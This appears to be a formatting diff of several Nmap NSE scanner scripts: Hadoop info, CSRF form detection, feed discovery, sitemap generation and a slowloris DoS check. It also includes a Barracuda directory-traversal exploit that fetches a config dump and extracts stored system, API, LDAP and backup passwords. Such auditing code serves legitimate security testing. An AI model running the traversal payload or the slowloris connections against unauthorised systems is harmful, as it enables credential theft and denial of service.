||||
if response['body']:match("Identifier:</b>%s*([^][<]+)") then
|
||||
local identifier = response['body']:match("Identifier:</b>%s*([^][<]+)")
|
||||
stdnse.print_debug(1, ("%s: Identifier %s"):format(SCRIPT_NAME,identifier))
|
||||
table.insert(result, ("Identifier: %s"):format(identifier))
|
||||
end
|
||||
if response['body']:match("([%w/]+)\">Log<") then
|
||||
local logfiles = response['body']:match("([%w/-_:%%]+)\">Log<")
|
||||
stdnse.print_debug(1, ("%s: Log Files %s"):format(SCRIPT_NAME,logfiles))
|
||||
table.insert(result, ("Log Files: %s"):format(logfiles))
|
||||
end
|
||||
local tasktrackers = get_tasktrackers (host, port)
|
||||
if next(tasktrackers) then
|
||||
table.insert(result, "Tasktrackers: ")
|
||||
table.insert(result, tasktrackers)
|
||||
end
|
||||
if stdnse.get_script_args('hadoop-jobtracker-info.userinfo') then
|
||||
local userhistory = get_userhistory (host, port)
|
||||
table.insert(result, "Userhistory: ")
|
||||
table.insert(result, userhistory)
|
||||
end
|
||||
if #result > 0 then
|
||||
port.version.name = "hadoop-jobtracker"
|
||||
port.version.product = "Apache Hadoop"
|
||||
nmap.set_port_version(host, port)
|
||||
end
|
||||
return stdnse.format_output(true, result)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -27,10 +27,10 @@ http://www.exploit-db.com/exploits/15130/
|
||||
-- nmap --script http-barracuda-dir-traversal --script-args http-max-cache-size=5000000 -p <port> <host>
|
||||
--
|
||||
-- @args http-max-cache-size
|
||||
-- Set max cache size. The default value is 100,000.
|
||||
-- Barracuda config files vary in size mostly due to the number
|
||||
-- of users. Using a max cache size of 5,000,000 bytes should be
|
||||
-- enough for config files containing up to 5,000 users.
|
||||
-- Set max cache size. The default value is 100,000.
|
||||
-- Barracuda config files vary in size mostly due to the number
|
||||
-- of users. Using a max cache size of 5,000,000 bytes should be
|
||||
-- enough for config files containing up to 5,000 users.
|
||||
--
|
||||
-- @output
|
||||
-- PORT STATE SERVICE REASON
|
||||
@@ -85,100 +85,100 @@ portrule = shortport.port_or_service (8000, "barracuda", {"tcp"})
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local result = {}
|
||||
local paths = {"/cgi-bin/view_help.cgi", "/cgi-mod/view_help.cgi"}
|
||||
local payload = "?locale=/../../../../../../../mail/snapshot/config.snapshot%00"
|
||||
local user_count = 0
|
||||
local config_file = ""
|
||||
local result = {}
|
||||
local paths = {"/cgi-bin/view_help.cgi", "/cgi-mod/view_help.cgi"}
|
||||
local payload = "?locale=/../../../../../../../mail/snapshot/config.snapshot%00"
|
||||
local user_count = 0
|
||||
local config_file = ""
|
||||
|
||||
-- Loop through vulnerable files
|
||||
stdnse.print_debug(1, ("%s: Connecting to %s:%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
||||
for _, path in ipairs(paths) do
|
||||
-- Loop through vulnerable files
|
||||
stdnse.print_debug(1, ("%s: Connecting to %s:%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
||||
for _, path in ipairs(paths) do
|
||||
|
||||
-- Retrieve file
|
||||
local data = http.get(host, port, tostring(path))
|
||||
if data and data.status then
|
||||
-- Retrieve file
|
||||
local data = http.get(host, port, tostring(path))
|
||||
if data and data.status then
|
||||
|
||||
-- Check if file exists
|
||||
stdnse.print_debug(1, "%s: HTTP %s: %s", SCRIPT_NAME, data.status, tostring(path))
|
||||
if tostring(data.status):match("200") then
|
||||
-- Check if file exists
|
||||
stdnse.print_debug(1, "%s: HTTP %s: %s", SCRIPT_NAME, data.status, tostring(path))
|
||||
if tostring(data.status):match("200") then
|
||||
|
||||
-- Attempt config file retrieval with LFI exploit
|
||||
stdnse.print_debug(1, "%s: Exploiting: %s", SCRIPT_NAME, tostring(path .. payload))
|
||||
data = http.get(host, port, tostring(path .. payload))
|
||||
if data and data.status and tostring(data.status):match("200") and data.body and data.body ~= "" then
|
||||
-- Attempt config file retrieval with LFI exploit
|
||||
stdnse.print_debug(1, "%s: Exploiting: %s", SCRIPT_NAME, tostring(path .. payload))
|
||||
data = http.get(host, port, tostring(path .. payload))
|
||||
if data and data.status and tostring(data.status):match("200") and data.body and data.body ~= "" then
|
||||
|
||||
-- Check if the HTTP response contains a valid config file in MySQL database dump format
|
||||
if string.match(data.body, "DROP TABLE IF EXISTS config;") and string.match(data.body, "barracuda%.css") then
|
||||
config_file = data.body
|
||||
break
|
||||
end
|
||||
-- Check if the HTTP response contains a valid config file in MySQL database dump format
|
||||
if string.match(data.body, "DROP TABLE IF EXISTS config;") and string.match(data.body, "barracuda%.css") then
|
||||
config_file = data.body
|
||||
break
|
||||
end
|
||||
|
||||
else
|
||||
stdnse.print_debug(1, "%s: Failed to retrieve file: %s", SCRIPT_NAME, tostring(path .. payload))
|
||||
end
|
||||
else
|
||||
stdnse.print_debug(1, "%s: Failed to retrieve file: %s", SCRIPT_NAME, tostring(path .. payload))
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
else
|
||||
stdnse.print_debug(1, "%s: Failed to retrieve file: %s", SCRIPT_NAME, tostring(path))
|
||||
end
|
||||
else
|
||||
stdnse.print_debug(1, "%s: Failed to retrieve file: %s", SCRIPT_NAME, tostring(path))
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
-- No config file found
|
||||
if config_file == "" then
|
||||
stdnse.print_debug(1, ("%s: %s:%s is not vulnerable or connection timed out."):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
||||
return
|
||||
end
|
||||
-- No config file found
|
||||
if config_file == "" then
|
||||
stdnse.print_debug(1, ("%s: %s:%s is not vulnerable or connection timed out."):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
||||
return
|
||||
end
|
||||
|
||||
-- Extract system info from config file in MySQL dump format
|
||||
stdnse.print_debug(1, "%s: Exploit success! Extracting system info from MySQL database dump", SCRIPT_NAME)
|
||||
-- Extract system info from config file in MySQL dump format
|
||||
stdnse.print_debug(1, "%s: Exploit success! Extracting system info from MySQL database dump", SCRIPT_NAME)
|
||||
|
||||
-- Count users
|
||||
if string.match(config_file, "'user_default_email_address',") then
|
||||
for _ in string.gmatch(config_file, "'user_default_email_address',") do user_count = user_count + 1 end
|
||||
end
|
||||
table.insert(result, string.format("Users: %s", user_count))
|
||||
-- Count users
|
||||
if string.match(config_file, "'user_default_email_address',") then
|
||||
for _ in string.gmatch(config_file, "'user_default_email_address',") do user_count = user_count + 1 end
|
||||
end
|
||||
table.insert(result, string.format("Users: %s", user_count))
|
||||
|
||||
-- Extract system info
|
||||
local vars = {
|
||||
{"Device", "branding_device_name"},
|
||||
{"Version","httpd_last_release_notes_version_read"},
|
||||
{"Hostname","system_default_hostname"},
|
||||
{"Domain","system_default_domain"},
|
||||
{"Timezone","system_timezone"},
|
||||
{"Language","default_ndr_lang"},
|
||||
{"Password","system_password"},
|
||||
{"API Password","api_password"},
|
||||
{"MTA SASL LDAP Password","mta_sasl_ldap_advanced_password"},
|
||||
{"Gateway","system_gateway"},
|
||||
{"Primary DNS","system_primary_dns_server"},
|
||||
{"Secondary DNS","system_secondary_dns_server"},
|
||||
{"DNS Cache","dns_cache"},
|
||||
{"Backup Server","backup_server"},
|
||||
{"Backup Port","backup_port"},
|
||||
{"Backup Type","backup_type"},
|
||||
{"Backup Username","backup_username"},
|
||||
{"Backup Password","backup_password"},
|
||||
{"NTP Enabled","system_ntp"},
|
||||
{"NTP Server","system_ntp_server"},
|
||||
{"SSH Enabled","system_ssh_enable"},
|
||||
{"BRTS Enabled","brts_enable"},
|
||||
{"BRTS Server","brts_lookup_domain"},
|
||||
{"HTTP Port","http_port"},
|
||||
{"HTTP Disabled","http_shutoff"},
|
||||
{"HTTPS Port","https_port"},
|
||||
{"HTTPS Only","https_only"},
|
||||
}
|
||||
for _, var in ipairs(vars) do
|
||||
local var_match = string.match(config_file, string.format("'%s','([^']+)','global',", var[2]))
|
||||
if var_match then table.insert(result, string.format("%s: %s", var[1], var_match)) end
|
||||
end
|
||||
-- Extract system info
|
||||
local vars = {
|
||||
{"Device", "branding_device_name"},
|
||||
{"Version","httpd_last_release_notes_version_read"},
|
||||
{"Hostname","system_default_hostname"},
|
||||
{"Domain","system_default_domain"},
|
||||
{"Timezone","system_timezone"},
|
||||
{"Language","default_ndr_lang"},
|
||||
{"Password","system_password"},
|
||||
{"API Password","api_password"},
|
||||
{"MTA SASL LDAP Password","mta_sasl_ldap_advanced_password"},
|
||||
{"Gateway","system_gateway"},
|
||||
{"Primary DNS","system_primary_dns_server"},
|
||||
{"Secondary DNS","system_secondary_dns_server"},
|
||||
{"DNS Cache","dns_cache"},
|
||||
{"Backup Server","backup_server"},
|
||||
{"Backup Port","backup_port"},
|
||||
{"Backup Type","backup_type"},
|
||||
{"Backup Username","backup_username"},
|
||||
{"Backup Password","backup_password"},
|
||||
{"NTP Enabled","system_ntp"},
|
||||
{"NTP Server","system_ntp_server"},
|
||||
{"SSH Enabled","system_ssh_enable"},
|
||||
{"BRTS Enabled","brts_enable"},
|
||||
{"BRTS Server","brts_lookup_domain"},
|
||||
{"HTTP Port","http_port"},
|
||||
{"HTTP Disabled","http_shutoff"},
|
||||
{"HTTPS Port","https_port"},
|
||||
{"HTTPS Only","https_only"},
|
||||
}
|
||||
for _, var in ipairs(vars) do
|
||||
local var_match = string.match(config_file, string.format("'%s','([^']+)','global',", var[2]))
|
||||
if var_match then table.insert(result, string.format("%s: %s", var[1], var_match)) end
|
||||
end
|
||||
|
||||
table.insert(result, "\nVulnerable to directory traversal vulnerability:\nhttp://seclists.org/fulldisclosure/2010/Oct/119")
|
||||
table.insert(result, "\nVulnerable to directory traversal vulnerability:\nhttp://seclists.org/fulldisclosure/2010/Oct/119")
|
||||
|
||||
-- Return results
|
||||
return stdnse.format_output(true, result)
|
||||
-- Return results
|
||||
return stdnse.format_output(true, result)
|
||||
|
||||
end
|
||||
|
||||
@@ -62,126 +62,126 @@ portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open
|
||||
-- Checks if this is really a token.
|
||||
isToken = function(value)
|
||||
|
||||
local minlength = 8
|
||||
local minentropy = 72
|
||||
local minlength = 8
|
||||
local minentropy = 72
|
||||
|
||||
-- If it has a reasonable length.
|
||||
if #value > minlength then
|
||||
-- If it has a reasonable length.
|
||||
if #value > minlength then
|
||||
|
||||
local entropy = formulas.calcPwdEntropy(value)
|
||||
local entropy = formulas.calcPwdEntropy(value)
|
||||
|
||||
-- Does it have a big entropy?
|
||||
if entropy >= minentropy then
|
||||
-- If it doesn't contain any spaces but contains at least one digit.
|
||||
if not string.find(value, " ") and string.find(value, "%d") then
|
||||
return 1
|
||||
end
|
||||
end
|
||||
-- Does it have a big entropy?
|
||||
if entropy >= minentropy then
|
||||
-- If it doesn't contain any spaces but contains at least one digit.
|
||||
if not string.find(value, " ") and string.find(value, "%d") then
|
||||
return 1
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
return 0
|
||||
return 0
|
||||
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local singlepages = stdnse.get_script_args("http-csrf.singlepages")
|
||||
local checkentropy = stdnse.get_script_args("http-csrf.checkentropy") or false
|
||||
local singlepages = stdnse.get_script_args("http-csrf.singlepages")
|
||||
local checkentropy = stdnse.get_script_args("http-csrf.checkentropy") or false
|
||||
|
||||
local csrfvuln = {}
|
||||
local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME, withinhost = 1 } )
|
||||
local csrfvuln = {}
|
||||
local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME, withinhost = 1 } )
|
||||
|
||||
if (not(crawler)) then
|
||||
return
|
||||
end
|
||||
if (not(crawler)) then
|
||||
return
|
||||
end
|
||||
|
||||
crawler:set_timeout(10000)
|
||||
crawler:set_timeout(10000)
|
||||
|
||||
local index, response, path
|
||||
while (true) do
|
||||
local index, response, path
|
||||
while (true) do
|
||||
|
||||
if singlepages then
|
||||
local k, target,
|
||||
k, target = next(singlepages, index)
|
||||
if (k == nil) then
|
||||
break
|
||||
end
|
||||
response = http.get(host, port, target)
|
||||
path = target
|
||||
if singlepages then
|
||||
local k, target,
|
||||
k, target = next(singlepages, index)
|
||||
if (k == nil) then
|
||||
break
|
||||
end
|
||||
response = http.get(host, port, target)
|
||||
path = target
|
||||
|
||||
else
|
||||
local status, r = crawler:crawl()
|
||||
-- if the crawler fails it can be due to a number of different reasons
|
||||
-- most of them are "legitimate" and should not be reason to abort
|
||||
if (not(status)) then
|
||||
if (r.err) then
|
||||
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
||||
else
|
||||
local status, r = crawler:crawl()
|
||||
-- if the crawler fails it can be due to a number of different reasons
|
||||
-- most of them are "legitimate" and should not be reason to abort
|
||||
if (not(status)) then
|
||||
if (r.err) then
|
||||
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
||||
else
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
response = r.response
|
||||
path = tostring(r.url)
|
||||
end
|
||||
|
||||
if response.body then
|
||||
|
||||
local forms = http.grab_forms(response.body)
|
||||
|
||||
for i, form in ipairs(forms) do
|
||||
|
||||
form = http.parse_form(form)
|
||||
|
||||
local resistant = false
|
||||
if form then
|
||||
for _, field in ipairs(form['fields']) do
|
||||
|
||||
-- First we check the field's name.
|
||||
if field['value'] then
|
||||
resistant = string.find(field['name'], "[Tt][Oo][Kk][Ee][Nn]") or string.find(field['name'], "[cC][sS][Rr][Ff]")
|
||||
-- Let's be sure, by calculating the entropy of the field's value.
|
||||
if not resistant and checkentropy then
|
||||
resistant = isToken(field['value'])
|
||||
end
|
||||
|
||||
if resistant then
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
if not resistant then
|
||||
|
||||
-- Handle forms with no id or action attributes.
|
||||
form['id'] = form['id'] or ""
|
||||
form['action'] = form['action'] or "-"
|
||||
|
||||
local msg = "\nPath: " .. path .. "\nForm id: " .. form['id'] .. "\nForm action: " .. form['action']
|
||||
table.insert(csrfvuln, { msg } )
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if (index) then
|
||||
index = index + 1
|
||||
else
|
||||
index = 1
|
||||
end
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
response = r.response
|
||||
path = tostring(r.url)
|
||||
end
|
||||
|
||||
-- If the table is empty.
|
||||
if next(csrfvuln) == nil then
|
||||
return "Couldn't find any CSRF vulnerabilities."
|
||||
if response.body then
|
||||
|
||||
local forms = http.grab_forms(response.body)
|
||||
|
||||
for i, form in ipairs(forms) do
|
||||
|
||||
form = http.parse_form(form)
|
||||
|
||||
local resistant = false
|
||||
if form then
|
||||
for _, field in ipairs(form['fields']) do
|
||||
|
||||
-- First we check the field's name.
|
||||
if field['value'] then
|
||||
resistant = string.find(field['name'], "[Tt][Oo][Kk][Ee][Nn]") or string.find(field['name'], "[cC][sS][Rr][Ff]")
|
||||
-- Let's be sure, by calculating the entropy of the field's value.
|
||||
if not resistant and checkentropy then
|
||||
resistant = isToken(field['value'])
|
||||
end
|
||||
|
||||
if resistant then
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
if not resistant then
|
||||
|
||||
-- Handle forms with no id or action attributes.
|
||||
form['id'] = form['id'] or ""
|
||||
form['action'] = form['action'] or "-"
|
||||
|
||||
local msg = "\nPath: " .. path .. "\nForm id: " .. form['id'] .. "\nForm action: " .. form['action']
|
||||
table.insert(csrfvuln, { msg } )
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if (index) then
|
||||
index = index + 1
|
||||
else
|
||||
index = 1
|
||||
end
|
||||
end
|
||||
|
||||
table.insert(csrfvuln, 1, "Found the following possible CSRF vulnerabilities: ")
|
||||
end
|
||||
|
||||
csrfvuln.name = crawler:getLimitations()
|
||||
-- If the table is empty.
|
||||
if next(csrfvuln) == nil then
|
||||
return "Couldn't find any CSRF vulnerabilities."
|
||||
end
|
||||
|
||||
return stdnse.format_output(true, csrfvuln)
|
||||
table.insert(csrfvuln, 1, "Found the following possible CSRF vulnerabilities: ")
|
||||
|
||||
csrfvuln.name = crawler:getLimitations()
|
||||
|
||||
return stdnse.format_output(true, csrfvuln)
|
||||
|
||||
end
|
||||
|
||||
@@ -40,10 +40,10 @@ FEEDS = { RSS = { search = { '<rss(.*)>' }, version = 'version=["\'](.-)["\']' }
|
||||
}
|
||||
|
||||
FEEDS_REFS = { "type=[\"']application/rss%+xml[\"']%s*href=[\"'](.-)[\"']",
|
||||
"type=[\"']application/rss%+xml[\"']%s*title=[\"'].-[\"']%s*href=[\"'](.-)[\"']",
|
||||
"type=[\"']application/atom%+xml[\"']%s*href=[\"'](.-)[\"']",
|
||||
"type=[\"']application/atom%+xml[\"']%s*title=[\"'].-[\"']%s*href=[\"'](.-)[\"']",
|
||||
}
|
||||
"type=[\"']application/rss%+xml[\"']%s*title=[\"'].-[\"']%s*href=[\"'](.-)[\"']",
|
||||
"type=[\"']application/atom%+xml[\"']%s*href=[\"'](.-)[\"']",
|
||||
"type=[\"']application/atom%+xml[\"']%s*title=[\"'].-[\"']%s*href=[\"'](.-)[\"']",
|
||||
}
|
||||
|
||||
feedsfound = {}
|
||||
|
||||
@@ -52,107 +52,107 @@ checked = {}
|
||||
-- Searches the resource for feeds.
|
||||
local findFeeds = function(body, path)
|
||||
|
||||
if body then
|
||||
for _, f in pairs(FEEDS) do
|
||||
for __, pf in pairs(f["search"]) do
|
||||
if body then
|
||||
for _, f in pairs(FEEDS) do
|
||||
for __, pf in pairs(f["search"]) do
|
||||
|
||||
local c = string.match(body, pf)
|
||||
local c = string.match(body, pf)
|
||||
|
||||
if c then
|
||||
local v = ""
|
||||
-- Try to find feed's version.
|
||||
if string.match(c, f["version"]) then
|
||||
v = " (version " .. string.match(c, f["version"]) .. ")"
|
||||
end
|
||||
feedsfound[path] = _ .. v .. ": "
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
if c then
|
||||
local v = ""
|
||||
-- Try to find feed's version.
|
||||
if string.match(c, f["version"]) then
|
||||
v = " (version " .. string.match(c, f["version"]) .. ")"
|
||||
end
|
||||
feedsfound[path] = _ .. v .. ": "
|
||||
end
|
||||
checked[path] = true
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
checked[path] = true
|
||||
end
|
||||
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local maxpagecount = stdnse.get_script_args("maxpagecount") or 40
|
||||
local maxpagecount = stdnse.get_script_args("maxpagecount") or 40
|
||||
|
||||
local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME,
|
||||
maxpagecount = maxpagecount,
|
||||
maxdepth = -1,
|
||||
withinhost = 1
|
||||
})
|
||||
local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME,
|
||||
maxpagecount = maxpagecount,
|
||||
maxdepth = -1,
|
||||
withinhost = 1
|
||||
})
|
||||
|
||||
crawler.options.doscraping = function(url)
|
||||
if crawler:iswithinhost(url)
|
||||
and not crawler:isresource(url, "js")
|
||||
and not crawler:isresource(url, "css") then
|
||||
return true
|
||||
end
|
||||
crawler.options.doscraping = function(url)
|
||||
if crawler:iswithinhost(url)
|
||||
and not crawler:isresource(url, "js")
|
||||
and not crawler:isresource(url, "css") then
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
if (not(crawler)) then
|
||||
return
|
||||
end
|
||||
|
||||
crawler:set_timeout(10000)
|
||||
|
||||
local index, k, target, response, path
|
||||
while (true) do
|
||||
|
||||
local status, r = crawler:crawl()
|
||||
-- if the crawler fails it can be due to a number of different reasons
|
||||
-- most of them are "legitimate" and should not be reason to abort
|
||||
if (not(status)) then
|
||||
if (r.err) then
|
||||
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
||||
else
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
if (not(crawler)) then
|
||||
return
|
||||
end
|
||||
response = r.response
|
||||
path = tostring(r.url)
|
||||
|
||||
crawler:set_timeout(10000)
|
||||
if response.body then
|
||||
findFeeds(response.body, path)
|
||||
|
||||
local index, k, target, response, path
|
||||
while (true) do
|
||||
|
||||
local status, r = crawler:crawl()
|
||||
-- if the crawler fails it can be due to a number of different reasons
|
||||
-- most of them are "legitimate" and should not be reason to abort
|
||||
if (not(status)) then
|
||||
if (r.err) then
|
||||
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
||||
for _, p in ipairs(FEEDS_REFS) do
|
||||
for l in string.gmatch(response.body, p) do
|
||||
if not checked[l] then
|
||||
local resp
|
||||
-- If this is an absolute URL, use get_url.
|
||||
if string.match(l, "^http") then
|
||||
resp = http.get_url(l)
|
||||
else
|
||||
break
|
||||
resp = http.get(host, port, l)
|
||||
end
|
||||
end
|
||||
|
||||
response = r.response
|
||||
path = tostring(r.url)
|
||||
|
||||
if response.body then
|
||||
findFeeds(response.body, path)
|
||||
|
||||
for _, p in ipairs(FEEDS_REFS) do
|
||||
for l in string.gmatch(response.body, p) do
|
||||
if not checked[l] then
|
||||
local resp
|
||||
-- If this is an absolute URL, use get_url.
|
||||
if string.match(l, "^http") then
|
||||
resp = http.get_url(l)
|
||||
else
|
||||
resp = http.get(host, port, l)
|
||||
end
|
||||
if resp.body then
|
||||
findFeeds(resp.body, l)
|
||||
end
|
||||
end
|
||||
end
|
||||
if resp.body then
|
||||
findFeeds(resp.body, l)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
-- If the table is empty.
|
||||
if next(feedsfound) == nil then
|
||||
return "Couldn't find any feeds."
|
||||
end
|
||||
end
|
||||
|
||||
-- Create a nice output.
|
||||
local results = {}
|
||||
for c, _ in pairs(feedsfound) do
|
||||
table.insert(results, {_ .. c } )
|
||||
end
|
||||
-- If the table is empty.
|
||||
if next(feedsfound) == nil then
|
||||
return "Couldn't find any feeds."
|
||||
end
|
||||
|
||||
table.insert(results, 1, "Found the following feeds: ")
|
||||
-- Create a nice output.
|
||||
local results = {}
|
||||
for c, _ in pairs(feedsfound) do
|
||||
table.insert(results, {_ .. c } )
|
||||
end
|
||||
|
||||
results.name = crawler:getLimitations()
|
||||
table.insert(results, 1, "Found the following feeds: ")
|
||||
|
||||
return stdnse.format_output(true, results)
|
||||
results.name = crawler:getLimitations()
|
||||
|
||||
return stdnse.format_output(true, results)
|
||||
|
||||
end
|
||||
|
||||
@@ -115,7 +115,7 @@ local function findName(host, port, path, number)
|
||||
end
|
||||
if errors>10 then
|
||||
stdnse.print_debug(1, "%s:False positive detected. Exiting.", SCRIPT_NAME)
|
||||
errors_max=true
|
||||
errors_max=true
|
||||
else
|
||||
stdnse.print_debug(1, "Added folder: %s", path .. "~" .. number)
|
||||
table.insert(folders, path .. "~" .. number)
|
||||
|
||||
@@ -123,56 +123,56 @@ function action(host, port)
|
||||
local starting_url = stdnse.get_script_args('http-sitemap-generator.url') or "/"
|
||||
|
||||
-- create a new crawler instance
|
||||
local crawler = httpspider.Crawler:new( host, port, nil, { scriptname = SCRIPT_NAME, noblacklist=true, useheadfornonwebfiles=true } )
|
||||
local crawler = httpspider.Crawler:new( host, port, nil, { scriptname = SCRIPT_NAME, noblacklist=true, useheadfornonwebfiles=true } )
|
||||
|
||||
if ( not(crawler) ) then
|
||||
return
|
||||
end
|
||||
if ( not(crawler) ) then
|
||||
return
|
||||
end
|
||||
|
||||
local visited = {}
|
||||
local visited = {}
|
||||
local dir_structure = {}
|
||||
local total_ext = {}
|
||||
local longest_dir_structure = {dir="/", depth=0}
|
||||
while(true) do
|
||||
local status, r = crawler:crawl()
|
||||
while(true) do
|
||||
local status, r = crawler:crawl()
|
||||
|
||||
if ( not(status) ) then
|
||||
if ( r.err ) then
|
||||
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
||||
else
|
||||
break
|
||||
end
|
||||
end
|
||||
if r.response.status and r.response.status == 200 then
|
||||
--check if we've already visited this file
|
||||
local path = normalize_path(r.url.path)
|
||||
if not visited[path] then
|
||||
local ext = get_file_extension(path)
|
||||
if total_ext[ext] then total_ext[ext]=total_ext[ext]+1 else total_ext[ext]=1 end
|
||||
local dir = normalize_path(r.url.dir)
|
||||
local _,dir_depth = string.gsub(dir,"/","/")
|
||||
-- check if this path is the longest one
|
||||
dir_depth = dir_depth - 1 -- first '/'
|
||||
if dir_depth > longest_dir_structure["depth"] then
|
||||
longest_dir_structure["dir"] = dir
|
||||
longest_dir_structure["depth"] = dir_depth
|
||||
end
|
||||
if ( not(status) ) then
|
||||
if ( r.err ) then
|
||||
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
||||
else
|
||||
break
|
||||
end
|
||||
end
|
||||
if r.response.status and r.response.status == 200 then
|
||||
--check if we've already visited this file
|
||||
local path = normalize_path(r.url.path)
|
||||
if not visited[path] then
|
||||
local ext = get_file_extension(path)
|
||||
if total_ext[ext] then total_ext[ext]=total_ext[ext]+1 else total_ext[ext]=1 end
|
||||
local dir = normalize_path(r.url.dir)
|
||||
local _,dir_depth = string.gsub(dir,"/","/")
|
||||
-- check if this path is the longest one
|
||||
dir_depth = dir_depth - 1 -- first '/'
|
||||
if dir_depth > longest_dir_structure["depth"] then
|
||||
longest_dir_structure["dir"] = dir
|
||||
longest_dir_structure["depth"] = dir_depth
|
||||
end
|
||||
dict_add(dir_structure, dir, ext)
|
||||
-- when withinhost=false, then maybe we'd like to include the full url
|
||||
-- with each path listed in the output
|
||||
visited[path] = true
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
local out = internal_table_to_output(sort_dirs(dir_structure))
|
||||
local tot = sort_by_keys(total_ext)
|
||||
out =
|
||||
{
|
||||
"Directory structure:", out,
|
||||
{name="Longest directory structure:", "Depth: "..tostring(longest_dir_structure.depth), "Dir: "..longest_dir_structure.dir},
|
||||
{name="Total files found (by extension):", table.concat(tot, "; ")}
|
||||
}
|
||||
return stdnse.format_output(true, out)
|
||||
local out = internal_table_to_output(sort_dirs(dir_structure))
|
||||
local tot = sort_by_keys(total_ext)
|
||||
out =
|
||||
{
|
||||
"Directory structure:", out,
|
||||
{name="Longest directory structure:", "Depth: "..tostring(longest_dir_structure.depth), "Dir: "..longest_dir_structure.dir},
|
||||
{name="Total files found (by extension):", table.concat(tot, "; ")}
|
||||
}
|
||||
return stdnse.format_output(true, out)
|
||||
end
|
||||
|
||||
|
||||
@@ -61,99 +61,99 @@ portrule = shortport.http
|
||||
local HalfHTTP
|
||||
local Bestopt
|
||||
local TimeWithout -- time without additional headers
|
||||
local TimeWith -- time with additional headers
|
||||
local TimeWith -- time with additional headers
|
||||
|
||||
-- does a half http request and waits until timeout
|
||||
local function slowThread1(host,port)
|
||||
-- if no response was received when determining SSL
|
||||
if ( Bestopt == "none" ) then
|
||||
return
|
||||
end
|
||||
local socket,status
|
||||
local catch = function()
|
||||
TimeWithout = nmap.clock()
|
||||
end
|
||||
local try = nmap.new_try(catch)
|
||||
socket = nmap.new_socket()
|
||||
socket:set_timeout(500 * 1000)
|
||||
socket:connect(host.ip, port, Bestopt)
|
||||
socket:send(HalfHTTP)
|
||||
try(socket:receive())
|
||||
TimeWithout = nmap.clock()
|
||||
-- if no response was received when determining SSL
|
||||
if ( Bestopt == "none" ) then
|
||||
return
|
||||
end
|
||||
local socket,status
|
||||
local catch = function()
|
||||
TimeWithout = nmap.clock()
|
||||
end
|
||||
local try = nmap.new_try(catch)
|
||||
socket = nmap.new_socket()
|
||||
socket:set_timeout(500 * 1000)
|
||||
socket:connect(host.ip, port, Bestopt)
|
||||
socket:send(HalfHTTP)
|
||||
try(socket:receive())
|
||||
TimeWithout = nmap.clock()
|
||||
end
|
||||
|
||||
-- does a half http request but sends another
|
||||
-- header value after 10 seconds
|
||||
local function slowThread2(host,port)
|
||||
-- if no response was received when determining SSL
|
||||
if ( Bestopt == "none" ) then
|
||||
return
|
||||
end
|
||||
local socket,status
|
||||
local catch = function()
|
||||
-- note the time the socket timedout
|
||||
TimeWith = nmap.clock()
|
||||
stdnse.print_debug("2 try")
|
||||
end
|
||||
local try = nmap.new_try(catch)
|
||||
socket = nmap.new_socket()
|
||||
socket:set_timeout(500 * 1000)
|
||||
socket:connect(host.ip, port, Bestopt)
|
||||
socket:send(HalfHTTP)
|
||||
stdnse.sleep(10)
|
||||
socket:send("X-a: b\r\n")
|
||||
try(socket:receive())
|
||||
TimeWith = nmap.clock()
|
||||
-- if no response was received when determining SSL
|
||||
if ( Bestopt == "none" ) then
|
||||
return
|
||||
end
|
||||
local socket,status
|
||||
local catch = function()
|
||||
-- note the time the socket timedout
|
||||
TimeWith = nmap.clock()
|
||||
stdnse.print_debug("2 try")
|
||||
end
|
||||
local try = nmap.new_try(catch)
|
||||
socket = nmap.new_socket()
|
||||
socket:set_timeout(500 * 1000)
|
||||
socket:connect(host.ip, port, Bestopt)
|
||||
socket:send(HalfHTTP)
|
||||
stdnse.sleep(10)
|
||||
socket:send("X-a: b\r\n")
|
||||
try(socket:receive())
|
||||
TimeWith = nmap.clock()
|
||||
end
|
||||
|
||||
action = function(host,port)
|
||||
|
||||
local slowloris = {
|
||||
title = "Slowloris DOS attack",
|
||||
description = [[
|
||||
local slowloris = {
|
||||
title = "Slowloris DOS attack",
|
||||
description = [[
|
||||
Slowloris tries to keep many connections to the target web server open and hold them open as long as possible.
|
||||
It accomplishes this by opening connections to the target web server and sending a partial request. By doing
|
||||
so, it starves the http server's resources causing Denial Of Service.
|
||||
]],
|
||||
references = {
|
||||
'http://ha.ckers.org/slowloris/',
|
||||
},
|
||||
dates = {
|
||||
disclosure = {year = '2009', month = '09', day = '17'},
|
||||
},
|
||||
